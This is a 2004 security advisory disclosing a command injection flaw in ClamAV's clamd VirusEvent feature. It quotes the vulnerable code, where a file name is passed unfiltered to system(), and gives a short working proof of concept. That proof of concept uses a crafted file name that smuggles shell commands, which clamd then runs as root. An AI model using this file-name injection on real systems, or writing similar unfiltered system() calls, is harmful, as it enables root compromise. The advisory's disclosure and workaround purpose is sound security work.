clamd - NEVER use "%f" in your "VirusEvent"

[Rene <l0om@xxxxxxxxxxxx>]

date: 30 March 2004
product: clam antivirus
author: l0om  -  l0om[at]excluded.org  -  www.excluded.org

#####################################################################
clam antivirus is a antivirus program (which works very well). it comes with a 
lot of features and its easy to handle.
for normal you start it from the command line on demand but if you use the the 
dazuko module you can also scan in realtime. the program runs 
on standard as root but you can drop its privileges if you want to.

in the clamav.conf we can find the "VirusEvent" direction (which is on default 
disabled):


# Execute a command when virus is found. In the command string %v and %f will
# be replaced by the virus name and the infected file name respectively.
#
# SECURITY WARNING: Make sure the virus event command cannot be exploited,
#                   eg. by using some special file name when %f is used.
#                   Always use a full path to the command.
#                   Never delete/move files with this directive !
# VirusEvent /usr/bin/send_sms 1214131 "VIRUS DETECTED: %f: %v"

"Make sure the virus event command cannot be exploited,
eg. by using some special file name when %f is used."
 
this is not enough. they should del this "%f" feature for security reasons 
because in my opinion, for now, you nearly
cant prevent the "%f" thing from breaking out of your VirusEvent and do 
whatever the attacker likes too.

#####################################################################
void virusaction(const char *filename, const char *virname, const struct 
cfgstruct *copt)
{
 [...]
    buffer = (char *) mcalloc(strlen(cmd) + strlen(filename) + strlen(virname) 
+ 10, sizeof(char));

    if((pt = strstr(cmd, "%f"))) {
        *pt = 0; pt += 2;
        strcpy(buffer, cmd);            <----
        strcat(buffer, filename);       <----
    if((pt = strstr(cmd, "%f"))) {
        *pt = 0; pt += 2;
        strcpy(buffer, cmd);            <----
        strcat(buffer, filename);       <----
        strcat(buffer, pt);             <----
        free(cmd);
        cmd = strdup(buffer);
    }

    if((pt = strstr(cmd, "%v"))) {
        *pt = 0; pt += 2;
        strcpy(buffer, cmd);
        strcat(buffer, virname);
        strcat(buffer, pt);
        free(cmd);
        cmd = strdup(buffer);
    }

    free(buffer);

    /* WARNING: this is uninterruptable ! */
    system(cmd);   <------------------------------------------
    free(cmd);
}
#####################################################################

as we can see in the source code there is no filter for shell characters like 
";" or " in the program.
therefor an attacker may take a look at your VirusEvent(as your clamav.conf is 
world-readable) and create a file named  " ; chmod 777 etc" for example and
put some virus in it. as we can see above the clamd will execute the buffer. 
The attacker cant use pathes like "/" but he has what it takes to get root or 
kill
the system.

the commands will be executed by the clamd on "/" as the process makes a 
chdir("/").

#####################################################################
example:

l0om:~> ls -l /usr/local/etc/clamav.conf
-rw-r--r--    1 root     root         6863 2004-03-27 11:27 
/usr/local/etc/clamav.conf

l0om:~> cat /usr/local/etc/clamav.conf
[...]
# Execute a command when virus is found. In the command string %v and %f will
# be replaced by the virus name and the infected file name respectively.
#
# SECURITY WARNING: Make sure the virus event command cannot be exploited,
#                   eg. by using some special file name when %f is used.
#                   Always use a full path to the command.
#                   Never delete/move files with this directive !
VirusEvent /bin/echo "Virus: %f: %v" | /usr/bin/mail -s "VIRUS ALERT" 
admin@xxxxxxxxxxx

# Run as selected user (clamd must be started by root).
# By default it doesn't drop privileges.
#User clamav
[...]

l0om:~> cat >" \"; mkdir owned; echo \""
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

l0om:~> ls
 "; mkdir owned; echo "  XXX.blow_balls_4_real.mpeg   
XxX.admin_and_amanda_backup_deamon_having_fun.avi

# on realtime scanning the file will be scaned when we close it or we open it 
for reading.
# [...whatever- on next virus scan]

l0om:~> ls -ld /owned
drwxrwxrwx    2 root     root           48 2004-03-30 11:29 owned
#####################################################################

workaround:
- dont use the VirusEvent
- dont use the "%f" in the VirusEvent(!)
- start events with your own script parsing the clamd´s log file manual
######################################################################

have phun everybody!
   someone on NoFX concert or on the deconstruction-tour in köln?  PARTY ON!

-- l0om
-- www.excluded.org